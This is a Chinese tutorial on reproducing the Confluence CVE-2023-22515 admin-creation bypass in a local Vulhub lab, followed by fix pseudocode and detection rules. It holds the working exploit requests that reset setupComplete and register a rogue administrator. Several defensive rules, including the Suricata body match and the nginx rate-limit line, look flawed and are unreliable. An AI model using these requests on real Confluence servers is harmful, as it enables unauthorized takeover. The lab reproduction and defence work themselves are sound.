手把手教你用Vulhub复现 confluence CVE-2023-22515漏洞(附完整POC)

37 阅读16分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

Pasted image 20260120171047.png

漏洞原理分析(Broken Access Control)

CVE-2023-22515 是 Atlassian Confluence Data Center 和 Server 中的一个访问控制破损(Broken Access Control)漏洞,其严重性被官方定为 Critical(CVSS 10),并被加入 CISA Known Exploited Vulnerabilities Catalog,表明该漏洞在野外正被积极利用。

Confluence 在其 Web 框架(基于 Struts2 的变体)中,对某些敏感操作的路径保护不当。

  • 路径解析缺陷:攻击者可以访问 /server-info.action 路径,并利用参数污染或特定的请求后缀绕过鉴权检查。
  • 配置覆盖:通过向该端点发送特定参数,攻击者可以修改服务器的内存状态,将系统标记为“未完成安装”状态(即设置 setupComplete = false)。
  • 初始化触发:一旦系统认为安装未完成,它会重新开放 /setup/setupadministrator-start.action 接口,允许任何人直接注册一个新的系统管理员账号。

漏洞本质

  • 该漏洞允许未经认证的远程攻击者通过访问特定内部 API 端点,重置 Confluence 配置状态为未完成设置状态。
  • 利用该状态,攻击者可访问 /setup/setupadministrator.action 并创建 未经授权的管理员帐户
  • 攻击成功后,攻击者拥有该实例的完全管理员权限,可执行任意管理操作,甚至执行任意代码或安装恶意插件。 换句话说,这是一个访问控制绕过漏洞(CWE-284),攻击者无需登录即可执行高权限用户操作。
┌────────────┐    ① 发送恶意请求:GET /server-info.action?bootstrapStatusProvider.setupComplete=false
│ 攻击者     │ ─────────────────────────────────────────────────────┐
└────────────┘                                                        │
      │                                                                ▼
      │ ② Confluence 未正确验证该请求,允许访问并修改 setupComplete 状态 │
      │ ──────────────────────────────────────────────────────────────│
      ▼                                                                │
┌─────────────────────┐                                               │
│ Confluence 后端     │ ◄──────────────────────────────────────────────┘
│ 将 setupComplete 设为 false                                        │
└─────────┬───────────┘
          │ ③ 系统认为安装未完成,重新开放管理员设置界面
          ▼
┌─────────────────────┐
│ 攻击者访问 /setup/setupadministrator-start.action                  │
│ 直接创建新的管理员账户                                             │
└─────────┬───────────┘
          │ ④ 攻击者获得 Confluence 完全控制权限
          ▼
┌─────────────────────┐
│ 可执行任意操作,如安装恶意插件或执行代码                           │
└─────────────────────┘

攻击场景流程图(Attack Flow)

以下用流程图描述典型攻击路径:

flowchart TD
    A[External Attacker]
    B[Unauth HTTP GET /server-info.action]
    C[Response: setupComplete=false]
    D[HTTP GET /setup/setupadministrator.action]
    E[Create Admin User]
    F[Unauthorized Admin Account]
    G[Full Confluence Control]

    A --> B
    B --> C
    C --> D
    D --> E
    E --> F
    F --> G


图注:攻击者通过访问 /server-info.action 响应获得未完成设置状态,随后访问 /setup/setupadministrator.action 来创建管理员用户。

DFD 威胁建模(数据流图)

[External Attacker]
        |
        | 1. GET /server-info.action
        v
[Process P1: Confluence Setup Status API]
        |
        | 2. Response indicates setup incomplete
        v
[Process P2: Unauthorized Setup Flow]
        |
        | 3. GET /setup/setupadministrator.action
        v
[Process P3: Administrator Creation]
        |
        v
[DataStore: User Accounts]


STRIDE 威胁分析

威胁类别是否说明
Spoofing不需伪造身份
Tampering⚠️修改配置为未完成
Repudiation⚠️操作难以区分合法
Info Disclosure⚠️可能导致配置泄露
DoS主要访问控制问题
Elevation of Privilege普通用户→管理员

漏洞复现原理图示说明

攻击时序图

sequenceDiagram
    participant A as 攻击者
    participant W as Web服务器
    participant C as Confluence应用
    participant S as 状态管理器
    participant DB as 数据库
    participant FS as 文件系统
    
    A->>W: 1. 探测版本信息
    W->>C: 2. 转发请求
    C->>A: 3. 返回版本号
    
    Note over A: 确认版本在漏洞范围
    
    A->>W: 4. 发送重置请求<br>带特殊参数
    W->>C: 5. 转发重置请求
    C->>S: 6. 处理状态重置
    S->>DB: 7. 更新系统状态
    DB->>S: 8. 确认状态已更新
    S->>C: 9. 返回成功响应
    C->>A: 10. 请求成功
    
    Note over A: 系统状态已重置
    
    A->>W: 11. 访问安装页面
    W->>C: 12. 检查系统状态
    C->>DB: 13. 查询安装状态
    DB->>C: 14. 返回未安装状态
    C->>W: 15. 显示安装界面
    W->>A: 16. 返回安装页面
    
    A->>W: 17. 提交管理员创建
    W->>C: 18. 处理管理员创建
    C->>DB: 19. 创建管理员账户
    DB->>C: 20. 确认创建成功
    C->>A: 21. 返回创建成功
    
    Note over A: 获得管理员权限
    
    A->>W: 22. 使用管理员凭据登录
    W->>C: 23. 验证管理员权限
    C->>A: 24. 登录成功
    
    A->>W: 25. 安装恶意插件
    W->>C: 26. 处理插件安装
    C->>FS: 27. 写入插件文件
    FS->>C: 28. 确认写入成功
    C->>W: 29. 插件安装完成
    W->>A: 30. 返回安装成功
    
    A->>W: 31. 触发插件恶意功能
    W->>C: 32. 执行插件代码
    C->>FS: 33. 执行系统命令
    FS->>C: 34. 返回执行结果
    C->>A: 35. 返回命令输出
    
    Note over A: 远程代码执行成功

漏洞利用链条fenxi

graph LR
    subgraph "漏洞链第一阶段: 状态重置"
        A1[未授权访问] --> A2[状态重置端点]
        A2 --> A3[修改全局状态]
        A3 --> A4[安装状态回退]
    end
    
    subgraph "漏洞链第二阶段: 认证绕过"
        B1[未完成状态] --> B2[访问安装页面]
        B2 --> B3[绕过原有认证]
        B3 --> B4[创建新管理员]
    end
    
    subgraph "漏洞链第三阶段: 权限提升"
        C1[管理员账户] --> C2[完全控制权限]
        C2 --> C3[系统级访问]
    end
    
    subgraph "漏洞链第四阶段: 代码执行"
        D1[管理员权限] --> D2[插件安装功能]
        D2 --> D3[恶意代码执行]
        D3 --> D4[系统命令执行]
    end
    
    A4 --> B1
    B4 --> C1
    C3 --> D1
    
    style A2 fill:#ff9999
    style B3 fill:#ff6666
    style C2 fill:#ff3333
    style D3 fill:#cc0000

系统状态变化示意图

正常系统状态:
┌─────────────────────────────────┐
│    Confluence 系统状态           │
├─────────────────────────────────┤
│ 安装状态: 已完成 (setupComplete)│
│ 认证要求: 正常认证流程          │
│ 管理访问: 需要管理员权限        │
│ 安全状态: 受保护                │
└─────────────────────────────────┘

攻击后状态:
┌─────────────────────────────────┐
│    Confluence 系统状态           │
├─────────────────────────────────┤
│ 安装状态: 未完成                │
│ 认证要求: 安装向导(无认证)      │
│ 管理访问: 开放创建管理员        │
│ 安全状态: 完全暴露              │
└─────────────────────────────────┘

攻击路径:
正常状态 → 漏洞触发 → 状态重置 → 未完成状态

漏洞复现

docker启动并输入localhost:8090后,点击蓝色链接到ATLASSIAN获取许可认证(api)。这里需要用你的谷歌邮箱进行登录,如果没有google邮箱建议自行想其他方法。否则,就不要开始打开靶机。

Snipaste_2026-01-20_15-15-09.png

注册完成后,点击生成许可证。

Snipaste_2026-01-20_15-15-25.png

马上弹出一个窗口,点击确认后找到生成密钥的附近随便点点看,有相关按钮跳转为下面的界面,点击Next。

Snipaste_2026-01-20_15-16-00.png

如上图所示,回到了刚开始打开的界面,但是已经拥有了密钥。

Snipaste_2026-01-20_15-17-11.png

选择Non-clustered模式,然后按官方的要求进行表单的填写与提交。

Snipaste_2026-01-20_15-21-23.png

否则,会出现各种各样的报错信息。

Snipaste_2026-01-20_15-18-48.png

等待稍许片刻后,点击下图中的第一个蓝色按钮。

Snipaste_2026-01-20_15-23-13.png

继续,点击第一个蓝色按钮。

Snipaste_2026-01-20_15-30-49.png 紧接着随便输入你想要提交的表单,这里可能官方的环境由于ATLASSIAN版本更新的原因,已经携带了Token。

POST /setup/setupadministrator.action HTTP/1.1
Host: localhost:8090
Content-Length: 176
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://localhost:8090
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8090/setup/setupadministrator-start.action
Accept-Encoding: gzip, deflate, br
Cookie: OFBiz.Visitor=10001; JSESSIONID=E0C2598C8816975EBE0F8DB8FAEBF85E
Connection: keep-alive

atl_token=5f594222f0b5da2ce516258b75471115481814d2&username=adore&fullName=adore123&email=123adore%40hotmail.com&password=Adore%40123&confirm=Adore%40123&setup-next-button=Next  //%40是特殊字符@的url编码

Snipaste_2026-01-20_15-41-47.png

如果我们不携带Token值应当是无法完成注册的(如下图)。甚至添加Token值,它也会像上面出现session过期的提示,不过好像只是前端校验。

Snipaste_2026-01-20_15-43-01.png

那么,竟然如此,那我选择手动注册,不再用抓包进行注册。

Snipaste_2026-01-20_15-46-58.png

username=adore&fullName=adore123&email=123adore%40hotmail.com&password=Adore%40123&confirm=Adore%40123&setup-next-button=Next

当我用上面的表单信息进行注册时,发现用户名adore已经使用,所以改为adore123。

Snipaste_2026-01-20_15-47-30.png

其余信息保持不变,注册完成后看到如下信息。

Snipaste_2026-01-20_15-48-03.png

可以从上图看到,其实我们已经成功注册管理员账户adore123了。用我们注册的用户信息进行登录。

Snipaste_2026-01-20_15-52-21.png

或者在登陆后的界面查看用户信息,发现我们伪造的管理员注册成功。

Snipaste_2026-01-20_15-55-29.png

其余的尝试,试着将flase改为true,但是没有成功。

GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Connection: close
Cache-Control: max-age=0



Snipaste_2026-01-20_16-01-33.png

疑问:官方提供的第一个抓包信息怎么得来的?它的最主要的作用是什么?个人感觉我做本题时,根本想不到其作用。如果它的作用只是为了找到用户注册时的表单窗口,我们在注册数据库表单时出现的链接http://localhost:8090/setup/setupdbtype-start.action?thisNodeClustered=true接着再走两步都能手动查看到注册窗口了。

修复建议

  1. 立即升级:升级到 8.3.3, 8.4.3, 8.5.2 或更高版本。
  2. 临时防御 (无法升级时)
    • 在 Web 代理(Nginx/Apache)中拦截所有指向 /server-info.action/setup/* 的请求。
    • web.xml 中增加安全约束(Security Constraint)禁止未授权访问。
  3. 日志审计:检查 /server-info.action 的访问记录,特别是包含 bootstrapStatusProvider 的异常参数请求。

伪代码级修复示例

修复逻辑集中在 加强路径拦截器禁止动态修改关键状态对象

漏洞代码逻辑(示意):

public class ServerInfoAction extends ConfluenceActionSupport {
    private BootstrapStatusProvider bootstrapStatusProvider;

    // 漏洞点:Struts2 自动将 URL 参数映射给 setter
    public void setBootstrapStatusProvider(BootstrapStatusProvider provider) {
        this.bootstrapStatusProvider = provider;
    }

    public String execute() {
        // 接口未强制检查当前用户是否为管理员
        return SUCCESS;
    }
}

修复方案逻辑(详细具体):

public class ServerInfoAction extends ConfluenceActionSupport {
    
    // 修复 1: 禁用敏感对象的动态 Setter 注入
    // 或者使用 @PropertyPathRestriction 限制可访问的路径
    private BootstrapStatusProvider getReadOnlyBootstrapStatus() {
        return BootstrapManager.getInstance().getBootstrapStatusProvider();
    }

    @Override
    public String execute() {
        // 修复 2: 显式权限检查
        if (!isUserAuthenticated() || !isSystemAdministrator()) {
            log.warn("Unauthorized attempt to access server-info with parameters!");
            return ERROR_FORBIDDEN;
        }

        // 修复 3: 状态检查。一旦 setupComplete 为 true,禁止任何 Action 将其逆转
        if (getReadOnlyBootstrapStatus().isSetupComplete()) {
            // 禁止覆盖逻辑
            return SUCCESS;
        }
        
        return SUCCESS;
    }
}

// 修复 4: 拦截器层面的全局加固 (Interceptor)
public class SetupCheckInterceptor implements Interceptor {
    public String intercept(ActionInvocation invocation) {
        String actionName = invocation.getProxy().getActionName();
        
        // 严格限制:如果系统已安装,任何 /setup/ 路径必须返回 404/403
        if (actionName.startsWith("setup") && BootstrapManager.isSetupComplete()) {
            return "access-denied";
        }
        return invocation.invoke();
    }
}

修复方案1:状态端点安全加固


// 修复后的ServerInfoAction
public class SecureServerInfoAction extends ActionSupport {
    
    @Override
    public String execute() throws Exception {
        // 1. 移除危险的状态设置功能
        // 原漏洞代码:bootstrapStatusProvider.setupComplete=false
        // 修复:不再允许通过参数修改系统状态
        
        // 2. 只读模式返回服务器信息
        Map<String, Object> serverInfo = new HashMap<>();
        
        // 3. 安全的服务器信息
        serverInfo.put("version", getVersionInfo());
        serverInfo.put("buildDate", getBuildDate());
        serverInfo.put("serverTime", new Date());
        
        // 4. 移除敏感信息
        // 不返回安装状态、数据库信息等
        
        // 5. 记录访问日志
        logAccess(getRemoteAddr(), "server-info");
        
        return SUCCESS;
    }
    
    // 添加访问控制
    @Override
    public boolean isPermitted() {
        // 需要管理员权限访问服务器信息
        return permissionManager.isConfluenceAdministrator(getAuthenticatedUser());
    }
}

修复方案2:安装状态保护


// 安装状态管理器加固
@Component
public class SecureSetupManager {
    
    private final AtomicBoolean setupComplete = new AtomicBoolean(true);
    private final Set<String> allowedResetIps = new HashSet<>();
    
    @PostConstruct
    public void init() {
        // 从安全配置加载允许重置的IP
        allowedResetIps.addAll(loadTrustedIps());
        
        // 锁定安装状态
        lockSetupStatus();
    }
    
    public boolean isSetupComplete() {
        return setupComplete.get();
    }
    
    public void setSetupComplete(boolean complete, HttpServletRequest request) {
        // 1. 验证请求来源
        String clientIp = request.getRemoteAddr();
        if (!allowedResetIps.contains(clientIp)) {
            logSecurityAlert("UNAUTHORIZED_SETUP_RESET", clientIp);
            throw new SecurityException("Unauthorized setup reset attempt");
        }
        
        // 2. 验证用户权限
        User user = getUserFromRequest(request);
        if (!isSystemAdministrator(user)) {
            logSecurityAlert("INSUFFICIENT_PRIVILEGES", user.getName());
            throw new SecurityException("Insufficient privileges");
        }
        
        // 3. 二次确认机制
        String confirmation = request.getParameter("confirmationToken");
        if (!isValidConfirmation(confirmation)) {
            throw new SecurityException("Confirmation required");
        }
        
        // 4. 记录审计日志
        logSetupStatusChange(user, complete);
        
        // 5. 执行状态变更
        setupComplete.set(complete);
    }
    
    private void lockSetupStatus() {
        // 一旦完成安装,锁定状态
        if (setupComplete.get()) {
            // 设置只能通过特定管理接口修改
            // 需要多重验证
        }
    }
}

修复方案3:安装页面访问控制


// 安全安装向导控制器
@Controller
@RequestMapping("/setup")
public class SecureSetupController {
    
    @GetMapping("/setupadministrator.action")
    public String showSetupPage(HttpServletRequest request, Model model) {
        // 1. 检查是否真的需要安装
        if (setupManager.isSetupComplete()) {
            // 已完成的系统重定向到登录页
            logSecurityWarning("UNAUTHORIZED_SETUP_ACCESS", request.getRemoteAddr());
            return "redirect:/login.action";
        }
        
        // 2. 检查请求来源IP限制
        if (!isAllowedSetupAccess(request)) {
            logSecurityAlert("BLOCKED_SETUP_ACCESS", request.getRemoteAddr());
            return "error/403";
        }
        
        // 3. 生成安全的token
        String secureToken = generateSecureToken();
        model.addAttribute("secureToken", secureToken);
        
        // 4. 添加速率限制
        if (isRateLimited(request)) {
            return "error/429";
        }
        
        return "setup/admin";
    }
    
    @PostMapping("/setupadministrator.action")
    public String processSetup(@Valid AdminSetupRequest request, 
                              HttpServletRequest httpRequest) {
        // 1. 验证安全token
        if (!validateSecureToken(request.getSecureToken())) {
            return "error/invalid-token";
        }
        
        // 2. 验证安装状态
        if (setupManager.isSetupComplete()) {
            logSecurityAlert("SETUP_AFTER_COMPLETION", httpRequest.getRemoteAddr());
            return "redirect:/login.action";
        }
        
        // 3. 严格的密码策略
        if (!isPasswordSecure(request.getPassword())) {
            model.addAttribute("error", "密码不符合安全要求");
            return "setup/admin";
        }
        
        // 4. 创建管理员并记录
        User admin = createAdministrator(request);
        logSetupCompletion(admin, httpRequest);
        
        // 5. 标记安装完成(需要多重确认)
        setupManager.completeSetup(admin);
        
        return "redirect:/login.action";
    }
    
    private boolean isAllowedSetupAccess(HttpServletRequest request) {
        // 只允许本地访问或特定网络段
        String ip = request.getRemoteAddr();
        return ip.equals("127.0.0.1") || 
               ip.startsWith("10.") ||
               ip.startsWith("192.168.");
    }
}

基于该漏洞的安全检测与防护规则

CVE-2023-22515 攻击链的关键点是访问 /server-info.action 和随后访问 /setup/setupadministrator.action 来创建管理员账户。下面是可落地、具体且低误报的检测规则设计: Web服务器配置


# Nginx 配置阻止攻击
location ~* /server-info\.action {
    # 限制访问方法
    if ($request_method !~ ^(GET|HEAD)$) {
        return 405;
    }
    
    # 检查参数是否包含危险操作
    if ($query_string ~* "setupComplete") {
        return 403;
    }
    
    # IP限制
    allow 127.0.0.1;
    allow 10.0.0.0/8;
    deny all;
    
    # 记录访问日志
    access_log /var/log/nginx/confluence_security.log;
}

location ~* /setup/ {
    # 安装页面访问控制
    if ($remote_addr !~ "^(127\.0\.0\.1|10\.|192\.168\.)") {
        return 403;
    }
    
    # 速率限制
    limit_req zone=setup zone=5r/m;
    
    # 安全检查
    if ($http_referer !~ "^https://$server_name/") {
        return 403;
    }
}

检测与监控规则

# Suricata/IDS 规则
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CONFLUENCE Setup Reset Attempt";
    flow:to_server,established;
    content:"/server-info.action"; http_uri;
    content:"setupComplete"; http_client_body;
    content:"false"; http_client_body;
    classtype:web-application-attack;
    sid:20231001;
    rev:2;
)

alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"CONFLUENCE Unauthorized Setup Access";
    flow:to_server,established;
    content:"/setup/"; http_uri;
    content:"administrator"; http_uri;
    http.method:POST;
    threshold:type threshold, track by_src, count 3, seconds 60;
    classtype:privilege-escalation;
    sid:20231002;
    rev:1;
)

应用监控规则

# 应用层监控脚本
class ConfluenceSecurityMonitor:
    def __init__(self):
        self.suspicious_patterns = [
            r"/server-info\.action\?.*setupComplete",
            r"/setup/setupadministrator\.action",
            r"atl_token.*admin.*create"
        ]
        
    def detect_anomalies(self, log_entries):
        alerts = []
        
        for entry in log_entries:
            # 检测状态重置尝试
            if self.is_setup_reset_attempt(entry):
                alert = {
                    "timestamp": entry['timestamp'],
                    "event": "Confluence setup reset attempt",
                    "severity": "CRITICAL",
                    "source_ip": entry['source_ip'],
                    "details": entry
                }
                alerts.append(alert)
            
            # 检测异常安装页面访问
            if self.is_unauthorized_setup_access(entry):
                alert = {
                    "timestamp": entry['timestamp'],
                    "event": "Unauthorized setup access",
                    "severity": "HIGH",
                    "source_ip": entry['source_ip'],
                    "details": entry
                }
                alerts.append(alert)
        
        return alerts
    
    def is_setup_reset_attempt(self, log_entry):
        url = log_entry.get('url', '')
        return 'server-info.action' in url and 'setupComplete' in url
    
    def is_unauthorized_setup_access(self, log_entry):
        url = log_entry.get('url', '')
        source_ip = log_entry.get('source_ip', '')
        
        # 外部IP访问安装页面
        if '/setup/' in url and not self.is_internal_ip(source_ip):
            return True
        
        return False
    
    def is_internal_ip(self, ip):
        # 检查是否为内部IP
        return ip.startswith('10.') or ip.startswith('192.168.') or ip == '127.0.0.1'

基于 Flask 的实时检测与防护(应用层) 部署一个 Flask 应用作为反向代理/API 网关,对所有进入 Confluence 的请求进行预处理,拦截恶意请求。

1.1 Flask 中间件:路径与参数检测

# confluence_proxy.py
import re
from flask import Flask, request, abort, jsonify
import time

app = Flask(__name__)

# 敏感路径列表
SENSITIVE_PATHS = [
    '/server-info.action',
    '/setup/setupadministrator-start.action',
    '/setup/setupadministrator.action',
]

# 危险参数检测(用于状态重置)
DANGEROUS_PARAMS = [
    re.compile(r'bootstrapStatusProvider\.setupComplete\s*=', re.I),
    re.compile(r'setupComplete\s*=', re.I),
]

# 简单的会话验证(模拟,实际应验证 Confluence 的 session 或 cookie)
def is_authenticated():
    # Confluence 通常使用 JSESSIONID cookie
    session_cookie = request.cookies.get('JSESSIONID')
    auth_header = request.headers.get('Authorization')
    return bool(session_cookie or auth_header)

# 速率限制(内存实现)
request_records = {}

def rate_limit(ip, limit=20, window=60):
    now = time.time()
    if ip not in request_records:
        request_records[ip] = []
    request_records[ip] = [t for t in request_records[ip] if now - t < window]
    if len(request_records[ip]) >= limit:
        return True
    request_records[ip].append(now)
    return False

@app.before_request
def before_request():
    # 1. 检查路径是否敏感
    is_sensitive = any(request.path.startswith(p) for p in SENSITIVE_PATHS)
    if not is_sensitive:
        return

    # 2. 对敏感路径,检查是否包含危险参数
    args = request.args.to_dict()
    for key, value in args.items():
        for pattern in DANGEROUS_PARAMS:
            if pattern.search(key) or pattern.search(f"{key}={value}"):
                log_attack(request, 'dangerous_param')
                abort(403, description='Malicious parameter detected')

    # 3. 检查认证状态
    if not is_authenticated():
        # 对未认证的敏感请求进行速率限制(防止暴力扫描)
        if rate_limit(request.remote_addr):
            abort(429, description='Too many requests')
        else:
            # 严格模式下可直接拒绝未认证访问
            abort(401, description='Authentication required')

@app.errorhandler(401)
def unauthorized(e):
    return jsonify(error='Unauthorized'), 401

@app.errorhandler(403)
def forbidden(e):
    return jsonify(error='Forbidden'), 403

@app.errorhandler(429)
def too_many(e):
    return jsonify(error='Too many requests'), 429

def log_attack(request, attack_type):
    with open('confluence_attack.log', 'a') as f:
        f.write(f"{time.ctime()} - {request.remote_addr} - {request.method} {request.path} - {attack_type}\n")

# 转发请求到后端 Confluence
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 实际应转发到 Confluence 服务器
    return f"Proxied to {path}"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

1.2 日志监控脚本 实时分析 Confluence 访问日志,发现对关键路径的异常访问。

# monitor_logs.py
import re
import sys

LOG_PATTERN = re.compile(
    r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)
SENSITIVE_PATHS = ['/server-info.action', '/setup/setupadministrator-start.action']
DANGEROUS_PARAM_PATTERN = re.compile(r'bootstrapStatusProvider\.setupComplete', re.I)

def analyze_log(logfile):
    with open(logfile, 'r') as f:
        for line in f:
            match = LOG_PATTERN.search(line)
            if not match:
                continue
            path = match.group('path')
            ip = match.group('ip')
            if any(p in path for p in SENSITIVE_PATHS):
                if DANGEROUS_PARAM_PATTERN.search(path):
                    print(f"[!] 攻击尝试:IP {ip} 访问 {path}")
                else:
                    print(f"[*] 敏感路径访问:IP {ip} 访问 {path}")

基于 TensorFlow 的异常行为检测 利用机器学习模型识别针对 Confluence 的异常访问模式,特别是对 /server-info.action 的异常参数请求。 2.1 特征工程 从每个请求中提取特征,构建数据集。特征包括:

  • path_length: 请求路径长度
  • has_server_info: 路径是否包含 server-info.action (0/1)
  • has_setup: 路径是否包含 setupadministrator (0/1)
  • has_setupComplete_param: 参数中是否包含 setupComplete (0/1)
  • param_count: 参数数量
  • method: 请求方法(GET=1, POST=2)
  • hour: 请求小时
  • ip_reputation: IP 信誉分(需外部API)
  • user_agent_length: User-Agent 长度
  • is_known_ua: 是否常见浏览器 UA
  • request_freq_10min: 该IP最近10分钟请求数
  • is_authenticated: 是否已认证(0/1)
def extract_features(request_entry, history):
    features = [
        len(request_entry['path']),
        1 if 'server-info.action' in request_entry['path'] else 0,
        1 if 'setupadministrator' in request_entry['path'] else 0,
        1 if 'setupComplete' in request_entry['params'] else 0,
        len(request_entry['params']),
        {'GET':1, 'POST':2}.get(request_entry['method'], 0),
        request_entry['timestamp'].hour,
        ip_reputation(request_entry['ip']),  # 需实现
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        history['freq_10min'],
        int(request_entry['is_auth'])
    ]
    return features

2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建二分类模型。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)

# 保存模型
model.save('confluence_anomaly_model.h5')

2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。

from tensorflow.keras.models import load_model
import numpy as np
from datetime import datetime

model = load_model('confluence_anomaly_model.h5')
THRESHOLD = 0.8

def get_ip_history(ip):
    # 从缓存获取历史统计
    return {'freq_10min': 0}

def ip_reputation(ip):
    return 0

@app.before_request
def before_request():
    # ... 之前的基础检测 ...
    
    # 对敏感路径进行机器学习异常检测
    if any(request.path.startswith(p) for p in ['/server-info.action', '/setup/']):
        request_entry = {
            'ip': request.remote_addr,
            'path': request.path,
            'method': request.method,
            'params': request.args.to_dict(),
            'user_agent': request.headers.get('User-Agent', ''),
            'is_auth': is_authenticated(),
            'timestamp': datetime.now()
        }
        history = get_ip_history(request.remote_addr)
        if predict_anomaly(request_entry, history):
            log_attack(request, 'ml_anomaly')
            abort(403, description='Suspicious behavior detected')

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

基于 ModSecurity 的 WAF 规则

在 Apache/NGINX 中部署 ModSecurity,拦截对 Confluence 的漏洞利用尝试。 3.1 基础规则

# modsecurity_crs_71_confluence_cve_2023_22515.conf

# 规则1:拦截对 /server-info.action 的请求,且包含危险参数
SecRule REQUEST_URI "@contains /server-info.action" \
    "id:1008001,\
    phase:1,\
    t:none,\
    chain,\
    deny,\
    status:403,\
    msg:'Confluence CVE-2023-22515 - State reset attempt'"
    SecRule ARGS_NAMES|ARGS "@rx bootstrapStatusProvider\.setupComplete" \
        "t:none,\
        capture,\
        logdata:'Matched param: %{TX.0}',\
        tag:'attack-auth-bypass',\
        tag:'cve-2023-22515',\
        severity:'CRITICAL'"

# 规则2:拦截对 /setup/setupadministrator-start.action 的未授权访问
SecRule REQUEST_URI "@beginsWith /setup/setupadministrator-start.action" \
    "id:1008002,\
    phase:1,\
    t:none,\
    deny,\
    status:403,\
    msg:'Confluence CVE-2023-22515 - Unauthorized admin setup access',\
    tag:'attack-auth-bypass',\
    severity:'CRITICAL'"

# 规则3:对敏感路径进行速率限制
SecRule REQUEST_URI "@beginsWith /server-info.action" \
    "id:1008003,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'Confluence server-info rate limiting',\
    setvar:'tx.server_info_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.server_info_counter_%{REMOTE_ADDR}=60'"
SecRule TX:server_info_counter_%{REMOTE_ADDR} "@gt 5" \
    "id:1008004,\
    phase:1,\
    block,\
    msg:'Too many server-info requests',\
    severity:'WARNING'"

3.2 部署示例(NGINX)

server {
    listen 80;
    server_name confluence.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location / {
        proxy_pass http://confluence-backend:8090;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:CVE-2023-22515 是 Confluence 中的严重访问控制漏洞,可导致完全控制实例。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有使用 Confluence 的用户立即采取行动。

参考文章:

[1].vulhub/confluence/CVE-2023-22515 at master · vulhub/vulhub github.com/vulhub/vulh…